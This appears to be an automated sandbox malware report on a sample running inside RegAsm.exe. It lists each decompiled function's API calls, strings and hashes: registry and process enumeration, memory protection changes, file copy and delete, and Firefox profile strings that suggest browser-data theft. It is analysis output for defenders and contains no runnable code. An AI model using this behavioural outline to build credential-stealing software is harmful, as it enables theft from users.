Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0118AB58,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01191508,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(0118AB58,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 004183DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegQueryValueExA.KERNEL32(00000000,01191B38,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01191AC0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 6C253060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C253095

Part of subcall function 6C2535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C2DF688,00001000), ref: 6C2535D5
Part of subcall function 6C2535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2535E0
Part of subcall function 6C2535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C2535FD
Part of subcall function 6C2535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C25363F
Part of subcall function 6C2535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C25369F
Part of subcall function 6C2535A0: __aulldiv.LIBCMT ref: 6C2536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C25309F

Part of subcall function 6C275B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C2756EE,?,00000001), ref: 6C275B85
Part of subcall function 6C275B50: EnterCriticalSection.KERNEL32(6C2DF688,?,?,?,6C2756EE,?,00000001), ref: 6C275B90
Part of subcall function 6C275B50: LeaveCriticalSection.KERNEL32(6C2DF688,?,?,?,6C2756EE,?,00000001), ref: 6C275BD8
Part of subcall function 6C275B50: GetTickCount64.KERNEL32 ref: 6C275BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C2530BE

Part of subcall function 6C2530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C253127
Part of subcall function 6C2530F0: __aulldiv.LIBCMT ref: 6C253140

Part of subcall function 6C28AB2A: __onexit.LIBCMT ref: 6C28AB30

Strings

)TO/, xrefs: 6C25306A

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: )TO/
API String ID: 4291168024-3931237147
Opcode ID: 3670fa5379567aa1070663cd43a52baba8ab1ed272054cb0dfe8d57547a2ae6e
Instruction ID: bb5f44d706e300bbeafed2ccaea441ce518fc2ceb1e1d48b819d58dfa83a5518
Opcode Fuzzy Hash: 3670fa5379567aa1070663cd43a52baba8ab1ed272054cb0dfe8d57547a2ae6e
Instruction Fuzzy Hash: E4F0D612D2074C96CB10DF7488451A7B370AF7B214B546719FCA463AA1FF2071D8C3D5

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01191C10,00420AFF), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01191C10,00420BA6), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

^userContextId=4294967295, xrefs: 0040F59C
moz-extension+++, xrefs: 0040F5AD

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
